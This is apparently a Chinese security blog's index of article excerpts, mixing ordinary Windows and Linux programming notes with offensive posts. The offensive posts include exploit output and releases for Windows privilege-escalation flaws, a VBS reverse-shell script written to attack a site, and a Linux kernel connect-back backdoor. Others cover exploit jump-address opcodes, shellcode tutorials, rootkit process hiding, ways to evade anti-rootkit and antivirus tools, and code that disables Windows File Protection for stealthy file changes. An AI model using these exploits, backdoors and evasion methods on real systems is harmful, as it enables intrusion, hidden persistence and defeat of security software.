改了個linux下的c代碼為windows版本
摘要:
Windows的C++沒有pthread_t類型,linux中有個pthread.h,很多站的VC代碼,都不知道從哪包含來的,shit
網(wǎng)上看到有一個叫 POSIX Threads for Win32 的開源項目給出了一個功能比較完善的Windows下pthreads API的實現(xiàn)。
閱讀全文
將Win32 C/C++應(yīng)用程序遷移到Linux-進程、線程和共享內(nèi)存(ZT)
摘要:
本文的內(nèi)容是 Win32 API(特別是進程、線程和共享內(nèi)存服務(wù))到 POWER 上 Linux 的映射。本文可以幫助您確定哪種映射服務(wù)最適合您的需要。作者向您詳細(xì)介紹了他在移植 Win32 C/C++ 應(yīng)用程序時遇到的 API 映射。
閱讀全文
MS08-025 for win2k & win2k3
摘要: Win2k CN SP2 ,Win2k3 CN SP1下測試通過,其它未測試(不裝XP那種垃圾)
D:\>ms08025 whoami
MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo
閱讀全文
用C++修改本地安全策略
摘要: 要寫個修改本地安全策略的工具,本以為修改注冊表就行了,沒想到還挺復(fù)雜,改策略,對應(yīng)的注冊表項會變,倒過來,改對應(yīng)的注冊表項,策略沒變,郁悶
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次數(shù)
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00,
閱讀全文
新手編譯驅(qū)動
摘要: 網(wǎng)上找了N多資料,說得我暈頭轉(zhuǎn)向的,都是TMD資深顧問級別的文章,最后簡單幾步也可以搞定,過程如下:
我的SDK本來就是裝好的,再裝個DDK,就是重裝系統(tǒng),只要DDK目錄還在,重新指定下即可,不用重裝DDK
DDK目錄為: f:\WINDDK\3790.1830
以下以HelloWorld為例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
閱讀全文
簡單認(rèn)識Anti-RootKit(ZT)
摘要: 現(xiàn)在RK(rootkit)和ARK(anti- rootkit)的斗爭已經(jīng)進行了很久,在印象中最早出來的ARK工具是冰刃(IceSword),從冰刃開始出來到現(xiàn)在RK和ARK的斗爭一直在繼續(xù),目前冰刃還是在流行當(dāng)中,自己感覺也正是冰刃的出來才帶動了當(dāng)前流行的RK和ARK的斗爭呵呵,現(xiàn)在很多病毒木馬已經(jīng)廣泛的帶有驅(qū)動,使用一些RK的技術(shù)和方法使自己更底層些更強大些,當(dāng)前流行的ARK工具主要包括:隱藏進程檢測,內(nèi)核驅(qū)動檢測,SSDT檢測,代碼HOOK檢測,注冊表隱藏的檢測,隱藏文件的檢測等一些功能的,下面談?wù)勛约簩σ恍┕δ艿暮唵斡抟?嘻嘻。
..........
閱讀全文
無恥的驅(qū)動加載法(ZT)
摘要: 方法一: 替換win32k.sys
在2k3的系統(tǒng)下ZwSetSystemInformation禁止了用戶模式下加載驅(qū)動,只允許SMSS.exe加載win32k.sys。于是我們可以利用一下這個特點:
1. 注入SMSS.EXE
2. 打開SeLoadDriverPrivilege權(quán)限
3. 把原始的win32k.sys改名
4. 復(fù)制我們的驅(qū)動到\systemroot\system32下
5. 在SMSS.EXE中加載\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
閱讀全文
實例解析蠕蟲病毒的原理(ZT)
摘要: 一、蠕蟲病毒具有自我復(fù)制能力
我們以普通的VB腳本為例來看看:
JavaScript代碼
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '創(chuàng)建一個文件系統(tǒng)對象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通過文件系統(tǒng)對象的方法創(chuàng)建了一個TXT文件。
.....................
閱讀全文
軟件漏洞分析入門[初級shellcode_定位緩沖區(qū)](ZT)
摘要: 跟貼中看到已經(jīng)有不少朋友成功的完成了前面的所有例題,今天我們在前面的基礎(chǔ)上,繼續(xù)深入。每一講我都會引入一些新的知識和技術(shù),但只有一點點,因為我希望在您讀完貼之后就能立刻消化吸收,這是標(biāo)準(zhǔn)的循序漸進的案例式學(xué)習(xí)方法
另外在今天開始之前,我順便說一下后面的教學(xué)計劃:
我會再用3~4次的講座來闡述shellcode技術(shù),確保大家能夠在比較簡單的漏洞場景下實現(xiàn)通用、穩(wěn)定的溢出利用程序(exploit)
..........
閱讀全文
軟件漏洞分析入門[初級棧溢出D_植入任意代碼](ZT)
摘要: 麻雀雖小,五臟俱全
如果您順利的學(xué)完了前面4講的內(nèi)容,并成功的完成了第2講和第4講中的實驗,那么今天請跟我來一起挑戰(zhàn)一下劫持有漏洞的進程,并向其植入惡意代碼的實驗,相信您成功完成這個實驗后,學(xué)習(xí)的興趣和自信心都會暴增。
開始之前,先簡要的回答一下前幾講跟貼中提出的問題
代碼編譯少頭文件問題:可能是個人習(xí)慣問題,哪怕幾行長的程序我也會丟到project里去build,而不是用cl,所以沒有注意細(xì)節(jié)。如果你們嫌麻煩,不如和我一樣用project來build,應(yīng)該沒有問題的。否則的話,實驗用的程序?qū)嵲谔唵瘟耍@么一點小問題自己決絕吧。另外,看到幾個同學(xué)說為了實驗,專門恢復(fù)了古老的VC6.0,我也感動不已啊,呵呵。
...............
閱讀全文
軟件漏洞分析入門[初級棧溢出C_修改程序流程](ZT)
摘要: 上節(jié)課沒有操練滴東西,不少蠢蠢欲動的同學(xué)肯定已經(jīng)坐不住了。悟空,不要猴急,下面的兩堂課都是實踐課,用來在實踐中深入體會上節(jié)課中的知識,并且很有趣味性哦
信息安全技術(shù)是一個對技術(shù)性要求極高的領(lǐng)域,除了扎實的計算機理論基礎(chǔ)外、更重要的是優(yōu)秀的動手實踐能力。在我看來,不懂二進制就無從談起安全技術(shù)。
緩沖區(qū)溢出的概念我若干年前已經(jīng)了然于胸,不就是淹個返回地址把CPU指到緩沖區(qū)的shellcode去么。然而當(dāng)我開始動手實踐的時候,才發(fā)現(xiàn)實際中的情況遠遠比原理復(fù)雜。
................
閱讀全文
軟件漏洞分析入門[初級棧溢出B_系統(tǒng)棧原理](ZT)
摘要: 掃盲班第三講開課啦!
上節(jié)課我們用越過數(shù)組邊界的一個字節(jié)把鄰接的標(biāo)志變量修改成0,從而突破了密碼驗證程序。您實驗成功了嗎?沒有的話回去做完實驗在來聽今天的課!
有幾個同學(xué)反映編譯器的問題,我還是建議用VC6.0,因為它build出來的PE最適合初學(xué)者領(lǐng)會概念。而且這門課動手很重要,基本上我的實驗指導(dǎo)都是按VC6.0來寫的,用別的build出來要是有點出入,實驗不成功的話會損失學(xué)習(xí)積極性滴——實驗獲得的成就感是學(xué)習(xí)最好的動力。
............
閱讀全文
軟件漏洞分析入門[初級棧溢出A_初識數(shù)組越界](ZT)
摘要: 本想來點大道理申明下研究思路啥的,看到大家的熱情期待,稍微調(diào)整一下講課的順序。從今天開始,將用3~4次給大家做一下棧溢出的掃盲。
棧溢出的文章網(wǎng)上還是有不少的(其實優(yōu)秀的也就兩三篇),原理也不難,讀過基本上就能夠明白是怎么回事。本次講解將主要集中在動手調(diào)試方面,更加著重實踐。
經(jīng)過這3~4次的棧溢出掃盲,我們的目標(biāo)是:
領(lǐng)會棧溢出攻擊的基本原理
能夠動手調(diào)試簡易的棧溢出漏洞程序,并能夠利用漏洞執(zhí)行任意代碼(最簡易的shellcode)
.............
閱讀全文
軟件漏洞分析入門[引子](ZT)
摘要: 您是否夢想過能夠像電影上演的那樣黑進任意一臺機器遠程操控?您的夢想是否曾經(jīng)被書店里邊滿架子的反黑,防毒,擒木馬的掃盲書強暴的體無完膚?
從今天開始,準(zhǔn)備陸續(xù)發(fā)一系列關(guān)于軟件漏洞方面基礎(chǔ)知識的帖子,包括軟件漏洞的研究價值,研究方法,堆棧利用的基礎(chǔ)知識,shellcode的調(diào)試方法,漏洞調(diào)試方法,漏洞分析,漏洞挖掘,軟件安全性測試等等,此外還將介紹一些metasploit架構(gòu)和fuzz測試方面的入門知識。
軟件漏洞分析,利用,發(fā)掘是當(dāng)今安全技術(shù)界中流砥柱級別話題,如果您關(guān)注過black hat或者defcon之類的頂級安全技術(shù)峰會的話,就知道我不是在吹牛了。可惜的是這方面的中文資料很少,偶爾有一篇比較優(yōu)秀的文章但又不夠系統(tǒng),目前為止也沒有形成像破解技術(shù)這樣的討論風(fēng)氣,菜鳥們在黑燈瞎火的夜晚瞎折騰,沒有交流和指導(dǎo),興趣就像被拔了氣彌兒芯的車胎,很快就泄氣了。
雖然漏洞分析與利用與破解在技術(shù)上各有側(cè)重點,但逆向基礎(chǔ)是共同的。以我個人的經(jīng)驗,能做crack的朋友只要稍加進修就能入門。就算沒有任何匯編基礎(chǔ)和逆向經(jīng)驗的朋友也不用擔(dān)心,因為這
閱讀全文
對 Hook 內(nèi)核ntoskrnl'sZwQuerySystemInformation隱藏任務(wù)管理器進程名 的一點完善(ZT)
摘要: 通過hook ssdt中的ZwQuerySystemInformation來實現(xiàn)隱藏進程已經(jīng)是很老的技術(shù)了。
qiweixue 在他的文章里面寫的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不過他的文章里面,進程名字是直接寫死的,不能通過三層進行傳遞,而且得到ZwQuerySystemInformation是通過匯編的方法,這樣在其他系統(tǒng)上可能會有問題,所以我做了一些改善如下:
1 通過應(yīng)用程序?qū)⑦M程名字傳遞進來,可以傳遞多個進程名字,格式為:qq.exe;taskmgr.exe;
2 通用的方法來得到ZwQuerySystemInformation的地址,不過這個方法都是從rookit上得來的。
...........
閱讀全文
讓EXE導(dǎo)出函數(shù)(ZT)
摘要: 偶然發(fā)現(xiàn)OllyDBG.exe導(dǎo)出了一堆函數(shù),這些函數(shù)都是供其插件調(diào)用的。對這種體系結(jié)構(gòu)很感
興趣,想弄清楚它的實現(xiàn)原理。后來又看到梁肇新的書《編程高手箴言》第278頁提到的調(diào)用
門,覺得都應(yīng)該差不多。
三種不同的解決辦法(原理可能是一樣的,:)):
1)在導(dǎo)出函數(shù)聲明之前加上__declspec(dllexport)。例:
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
閱讀全文
icesword 驅(qū)動部分分析(ZT)
摘要: icesword.exe 在執(zhí)行的時候會放出一個驅(qū)動程序 ispubdrv.sys .
icesword.exe 裝載 這個驅(qū)動,這個驅(qū)動安裝后就不會卸載。直到系統(tǒng)重新啟動。這可能是因為驅(qū)動中調(diào)用了
PsSetCreateThreadNotifyRoutine 函數(shù).下面是這個函數(shù)在 ddk 中的介紹。
........
閱讀全文
利用偽造內(nèi)核文件來繞過IceSword的檢測(ZT)
摘要: 一、為什么需要偽造內(nèi)核:
IceSword(以下簡稱IS)為了防止一些關(guān)鍵系統(tǒng)函數(shù)(包括所有服務(wù)中斷表中的函數(shù)以及IS驅(qū)動部分要使用到的一些關(guān)鍵函數(shù))被 patch,它直接讀取內(nèi)核文件(以下簡稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe 的PE結(jié)構(gòu)來獲取關(guān)鍵系統(tǒng)函數(shù)的原始代碼并且把當(dāng)前內(nèi)核中所有的關(guān)鍵系統(tǒng)函數(shù)還原為windows默認(rèn)狀態(tài),這樣保證了IS使用到的函數(shù)不被patch 過。也許你會想如果我們把還原后的函數(shù)再進行patch不還是能躲的過去嗎?筆者也試過
.....................
閱讀全文
WIN下獲取kernel基址的shellcode探討(ZT)
摘要: [經(jīng)典溢出攻擊流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函數(shù)地址;
3. 查找其它API函數(shù)地址;
4. CreateProcess();
5. 遠程連接。
我們都知道WINDOWS的系統(tǒng)功能不像UNIX的系統(tǒng)調(diào)用那樣實現(xiàn),由于WINDOWS版本的不斷更新,使得系統(tǒng)調(diào)用對SHELLCODE幾乎起不到作用。
但是WINDOWS是靠DLL動態(tài)鏈接庫來實現(xiàn),這就是說,如果能從KERNEL32.DLL中獲取LoadLibrary()和GetProcAddress()函數(shù)的地址,我們就可以調(diào)用WINDOWS下的所有函數(shù)了。
所以我們需要對KERNEL32.DLL進行地址定位,這也是本文的目的。
................
閱讀全文
SEH源碼賞析之C篇(ZT)
摘要:
1.起因
C++程序員對try,catch,throw都應(yīng)該很熟悉,能知道VC怎么實現(xiàn)它的人就不多了,不過網(wǎng)絡(luò)世界使很多人知道了它與SEH (structured exception handling)有密切關(guān)系,我也不例外,也是在若干年前從網(wǎng)絡(luò)知道了SEH,并且大致也知道SEH的流程.但是和多數(shù)人一樣在我的實踐也很少直接使用 SEH,對SEH也就僅限于網(wǎng)絡(luò)上一些文章的介紹.曾經(jīng)在用Windbg對某些軟件作分析,我遇到了斷點失效的情況,查找資料介紹是SEH中的 Handler清除了調(diào)試寄存器,在分析.....................
閱讀全文
饒過現(xiàn)代Anti-Rookit工具的內(nèi)核模塊掃描(ZT)
摘要: 本文描述了一些方法,可以饒過目前主流的現(xiàn)代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
閱讀全文
TCP版backshell的VBS腳本
摘要: '搞一個特殊的站準(zhǔn)備用的,沒想到,等寫完了,洞補上了,郁悶
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
閱讀全文
在同一個進程空間運行兩個程序(ZT)
摘要:
眾所周知,bo2k可以在一個指定的進程空間(比如explorer.exe進程)做為一個線程運行。本文試圖找出一種方法,使得任意exe都可以在其他進程中以線程運行(當(dāng)然,這里說的"任意"是有條件的,下面會講到)。
為行文簡單起見,我把先加載的exe稱為宿主,后加載的exe稱為客戶。對于上面的例子,explorer.exe為宿主,bo2k.exe為客戶。
基本知識
每一個exe都有一個缺省加載基址,一般都是0x400000。如果實際加載基址和缺省基址相同,程序中的重定位表就不需要修正(fixup),否則,就必須修正重定位表;
閱讀全文
Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 測試通過
之前的版本只能xp下用,這個2k3也可以了,其實前段時間朋友給過我一個這個漏洞的1day,但是朋友的東西不能亂發(fā),這個是自己寫的,發(fā)出來大家惡心一下。
閱讀全文
VC編譯優(yōu)化設(shè)置
摘要: VC- Project Setting-Debug-Project Option語法解釋
-優(yōu)化-
/O1 最小化空間 minimize space
/Op[-] 改善浮點數(shù)一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 優(yōu)選代碼空間 favor code space
/Oa 假設(shè)沒有別名 assume no aliasing
/Ot 優(yōu)選代碼速度 favor code speed
/Ob 內(nèi)聯(lián)展開(默認(rèn) n=0) inline expansion (default n=0)
/Ow 假設(shè)交叉函數(shù)別名 assume cross-function aliasing
/Od 禁用優(yōu)化(默認(rèn)值) disable optimizations (default)
/Ox 最大化選項。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 啟用全局優(yōu)化
閱讀全文
程序多開器
摘要: 使用OD反匯編修改NateOn,雖然很麻煩,最終還是搞定了,后來發(fā)現(xiàn)網(wǎng)上有段代碼,直接可以實現(xiàn)程序多開,測試了MSN、NateOn沒問題,代碼如下:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............
閱讀全文
一個簡單的Linux內(nèi)核后門原型(ZT)
摘要: 這是一個在內(nèi)核模塊中實現(xiàn)的反連后門,大家看看這于應(yīng)用層上的實現(xiàn)有什么不同吧,呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
閱讀全文
VBS解決終端窗口中特殊快捷鍵問題
摘要: 寫程序麻煩,還要傳上去,幸好VBS每臺服務(wù)器應(yīng)該都可以運行的吧,很少會又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下腳本:)
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"
以下位SendKeys的相關(guān)使用方法等
............
閱讀全文
一些opcodes(ZT)
摘要:
一些opcodes
by axis
2007-03-28
近日在寫exploit的時候需要用到一些其他語言的call ebx的跳轉(zhuǎn)地址,但是metasploit的opcode DB沒有包括繁體中文、日文、韓文機器的跳轉(zhuǎn)地址,所以費了點時間收集了下,在這里要感謝傲少提供的機器給我去找地址。現(xiàn)在貼到這里,方便大家。
簡體中文windows的通用跳轉(zhuǎn)地址:(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..................
閱讀全文
TCP 相關(guān)參數(shù)解釋
摘要: cp_syn_retries :INTEGER
默認(rèn)值是5
對于一個新建連接,內(nèi)核要發(fā)送多少個 SYN 連接請求才決定放棄。不應(yīng)該大于255,默認(rèn)值是5,對應(yīng)于180秒左右時間。(對于大負(fù)載而物理通信良好的網(wǎng)絡(luò)而言,這個值偏高,可修改為2.這個值僅僅是針對對外的連接,對進來的連接,是由tcp_retries1 決定的)
tcp_synack_retries :INTEGER
默認(rèn)值是5
對于遠端的連接請求SYN,內(nèi)核會發(fā)送SYN + ACK數(shù)據(jù)報,以確認(rèn)收到上一個 SYN連接請求包。這是所謂的三次握手( threeway handshake)機制的第二個步驟。這里決定內(nèi)核在放棄連接之前所送出的 SYN+ACK 數(shù)目。不應(yīng)該大于255,默認(rèn)值是5,對應(yīng)于180秒左右時間。(可以根據(jù)上面的 tcp_syn_retries 來決定這個值)
tcp_keepalive_time :INTEGER
默認(rèn)值是7200(2小時)
當(dāng)keepalive打開的情況下,TCP發(fā)送keepalive消息的頻率。(由于目前網(wǎng)絡(luò)
閱讀全文
如何調(diào)試程序的 Release 版本
摘要: 很多時候程序的 Debug 版本運行沒有任何問題,但是一旦發(fā)布 Release 版本后,運行就出錯,著實讓人郁悶。大家知道,VC++ 中 Release 版本是對無法對源代碼進行調(diào)試的。一般的做法是在懷疑有錯誤的代碼前后插入MessageBox 函數(shù),在函數(shù)中顯示可能導(dǎo)致錯誤的變量的值。或者插入寫文件的語句,輸出可能導(dǎo)致錯誤的變量的值到一個記錄文件。其實,除了上面講的這個辦法之外,還有其它的途徑來調(diào)試 Release 版本的。下面就結(jié)合自己的經(jīng)驗和網(wǎng)上查找的一些資料給出調(diào)試 Release 版本的兩個方法:
......
閱讀全文
HOOK專題(ZT)
摘要: 基本概念
鉤子(Hook),是Windows消息處理機制的一個平臺,應(yīng)用程序可以在上面設(shè)置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進程所創(chuàng)建的。當(dāng)消息到達后,在目標(biāo)窗口處理函數(shù)之前處理它。鉤子機制允許應(yīng)用程序截獲處理window消息或特定事件。
鉤子實際上是一個處理消息的程序段,通過系統(tǒng)調(diào)用,把它掛入系統(tǒng)。每當(dāng)特定的消息發(fā)出,在沒有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數(shù)先得到控制權(quán)。這時鉤子函數(shù)即可以加工處理(改變)該消息,也可以不作處理而繼續(xù)傳遞該消息,還可以強制結(jié)束消息的傳遞。
運行機制
1、鉤子鏈表和鉤子子程:
.......
閱讀全文
翻動100萬級的數(shù)據(jù)(自定義的MSSQL分頁查詢過程)
摘要: 系統(tǒng)資源的占用情況
內(nèi)存 —— 很理想。SQL占用的內(nèi)存最大也沒有超過65M,一般是在35M左右;asp.net占用的內(nèi)存最大也沒有超過40M,一般是在25M左右。
CPU:8%左右,由于訪問次數(shù)不多,也不夠集中,所以這個數(shù)值也說明不了什么。自己連續(xù)點了n次下一頁,發(fā)現(xiàn)CPU的使用率飄高,達到了50%左右。
但是對于100萬的記錄,AMD XP2000+ 的CPU 幾十毫秒的放映速度,因該是可以接受的,甚至是很理想的吧。
畢竟服務(wù)器的CPU要比我的快很多吧,而且記錄也很難達到100萬吧。
結(jié)果還是很滿意的,但是美中不足的是,我想看一下海量訪問的情況下的效果,
另外說明一下:前n頁可以在60毫秒內(nèi)完成,n應(yīng)該是大于500的,小于多少嘛還沒有測試。后n頁就比較慢了,需要500毫秒左右。
下面討論一下翻頁的技巧吧。
我沒有用游標(biāo)、臨時表、not in、in 這些方法,并不是說他們的效率不高,而是我還沒有測試過。我只用了 top ,查了兩次表。
大家也可提供一些其他的方法,我來測試一下,看看在100萬條的情況下的效果。
<
閱讀全文
繞過堆棧保護 編寫shellcode(FY)
摘要: 概述
在本例中,我們來實際編寫一個可以在使用堆棧保護的系統(tǒng)中執(zhí)行的shellcode。該shellcode通過利用ntdll.dll的部分指令跳轉(zhuǎn)到我們的代碼執(zhí)行。在大多數(shù)的dll中都可以實現(xiàn)此方法,而且可以完全饒過堆棧保護機制,因為通過此方法并沒有任何代碼在堆棧非執(zhí)行區(qū)域中執(zhí)行。
詳述
我們也許都聽說過堆棧保護這么一個詞。很多安全程序提供了對堆棧中的代碼執(zhí)行的保護功能(譯者注:原文這里用的是“protect”,其實我個人認(rèn)為用 “disallow”或者“disable”更確切的。因為這類所謂的堆棧保護,其實就是禁止代碼在堆棧中執(zhí)行。)。一些新的硬件產(chǎn)品也具有禁止代碼在 “非執(zhí)行”內(nèi)存區(qū)域中執(zhí)行(比如AMD64)。然而編寫一個饒過此機制的shellcode并不是件難事,下面我給大家簡單的介紹一下。
方法就是使用dll的部分代碼來達到我們的目的。如何做到呢?首先在堆棧發(fā)生溢出的時候我們將返回地址設(shè)置成ntdll.dll中的某個指令地址,我們要利用的ntdll的部分代碼如下:
.............
閱讀全文
教你如何分析未文檔化的數(shù)據(jù)結(jié)構(gòu)(ZT)
摘要: Editor:admin Time:2005-8-20 23:22 Read:9985 Score:8 Print
Writer:HSLY
Excerpt:80x86匯編小站
Preface:
分享逆向技術(shù)心德......
Content:
[標(biāo)題] 教你如何分析未文檔化的數(shù)據(jù)結(jié)構(gòu)
[作者] hsly110 或者 豬頭三
[個人網(wǎng)站] http://www.x86asm.com 80x86匯編小站
[Email] pliceman_110@163.com PS:本文如果有錯漏請來信指出
[范圍] 逆向工程
[目的] 分享逆向技術(shù)心德
[目標(biāo)API] 未文檔化的RtlInitializeGenericTable
[參考文獻] Secrets of Reverse Engineering
..........
閱讀全文
圖片類型互轉(zhuǎn)(png,bmp,jpg,gif)
摘要:
#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#pragma comment(lib,"gdiplus.lib")
using namespace Gdiplus;
INT GetEncoderClsid(const WCHAR* format, CLSID* pClsid); // helper function
...........
閱讀全文
通過活動鏈表或HOOK API隱藏進程
摘要: 進程隱藏的兩種方法
這兩種都是很古老的方法,因為無聊,所以寫了一下。代碼在XP_SP2下調(diào)試通過.
(1).從活動進程鏈表(ActiveProcessLinks)中摘除自身,這種方法可以欺騙任務(wù)管理器,
下面這個程序做的就是雙向鏈表的刪除節(jié)點和插入節(jié)點,十分的簡單。
(2).如果你反匯編taskmgr.exe,可以在發(fā)現(xiàn)taskmgr.exe是通過NtQuerySystemInformation枚舉進程的,
因此可以通過掛鉤系統(tǒng)服務(wù)NtQuerySystemInformation修改這個函數(shù)的行為,從而實現(xiàn)在任務(wù)管理器中隱藏進程的目的,下面就是實現(xiàn)代碼。
...........
閱讀全文
Hook API監(jiān)視驅(qū)動的加載
摘要: .386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\ntoskrnl.inc
includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac
;**************************************************************************************************
閱讀全文
WMI監(jiān)視注冊表
摘要: Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
"KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
WScript.Echo "Listening..." & vbCrLf
While(1)
WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
WScript.Echo "R
閱讀全文
暫停Windows文件保護
摘要: #include <stdio.h>
#include <windows.h>
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
//Now we can modify the system file in a complete stealth.
閱讀全文
編寫進程/線程監(jiān)視器(ZT)
摘要: 有時候我們希望能夠動態(tài)監(jiān)視系統(tǒng)中任意進程/線程的創(chuàng)建與銷毀。為了達
到此目的我翻閱了 DDK 手冊,發(fā)現(xiàn)其提供的 PsSetCreateProcessNotifyRoutine(),
PsSetCreateThreadNotifyRoutine(),等函數(shù)可以實現(xiàn)此功能。這兩個函數(shù)可以
通過向系統(tǒng)注冊一個 CALLBALCK 函數(shù)來監(jiān)視進程/線程等操作。函數(shù)原形如下:
NTSTATUS
PsSetCreateProcessNotifyRoutine(
IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
IN BOOLEAN Remove
);
......................
閱讀全文
SSDT Hook 的妙用-對抗 Ring0 Inline Hook(ZT)
摘要: 1,SSDT
SSDT即系統(tǒng)服務(wù)描述符表,它的結(jié)構(gòu)如下(參考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //這個指向系統(tǒng)服務(wù)函數(shù)地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服務(wù)函數(shù)的個數(shù),NumberOfService*4 就是整個地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
.........
閱讀全文
對抗殺毒軟件的內(nèi)存掃描(ZT)
摘要:
通過對 NtReadVirtualMemory 掛鉤,防止其他進程對保護的模塊進行掃描,
如果發(fā)現(xiàn)其他進程讀被保護模塊的內(nèi)存,則返回0
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
.........
閱讀全文
實用級反主動防御rootkit設(shè)計思路(ZT)
摘要:
目錄:
反主動防御rootkit的產(chǎn)生背景及其必要性
反網(wǎng)絡(luò)訪問主動防御
反API鉤子進程行為主動防御
反系統(tǒng)Notify進程行為主動防御
繞過監(jiān)控進入ring0安裝驅(qū)動
實用級反主動防御rootkit的通用性問題
..............
閱讀全文
從PE文件入手繞過IAT HOOK(ZT)
摘要:
API HOOK估計沒必要多介紹了,簡單的來講就是通過某種方式來改變API函數(shù)的工作流程.一般來講有兩種方法:IAT HOOK和INLINE HOOK.前一種應(yīng)用較為廣泛,一方面因為簡單,還一方面因為穩(wěn)定.他的原理就是改寫進程空間中要HOOK的API所在模塊的函數(shù)引入表,使之指向替換原 API函數(shù)的函數(shù)地址(某些木馬就是利用IAT HOOK的方式,掛鉤NtQuerySystemInformation的方式來實現(xiàn)進程隱藏).這里感覺還是有必要再說一點INLINE HOOK,這個復(fù)雜點,直接進入被HOOK的API函數(shù)內(nèi)部去修改他,采用指令call或者jmp等,迫使API改變流程,跳到自己的替換函數(shù)中.通常都是在函數(shù)頭部前10個字節(jié)內(nèi)修改.
...............
閱讀全文
應(yīng)用層InLine Hook(ZT)
摘要: 1.得到本進程中包含被掛接API的DLL的基地址,該DLL代碼節(jié)的虛擬偏移以及該API的入口地址.API入口地址-(代碼節(jié)虛擬偏移+DLL基地址)=函數(shù)入口相對于代碼節(jié)的偏移
2.得到目標(biāo)進程的PID,以及目標(biāo)進程包含被掛接API的DLL的基地址(注意一般來說和前面自身進程的值相同)前面得到的函數(shù)入口偏移+DLL基地址+代碼節(jié)虛擬偏移=目標(biāo)進程API函數(shù)入口地址
3.打開目標(biāo)進程讀目標(biāo)進程API函數(shù)入口處128字節(jié)代碼到自身進程的變量中.然后調(diào)用z0mbie寫的LDE32庫取該API函數(shù)入口處幾個指令的長度當(dāng)長度>=5時保存該長度(這樣防止后面取指令沒有對齊)
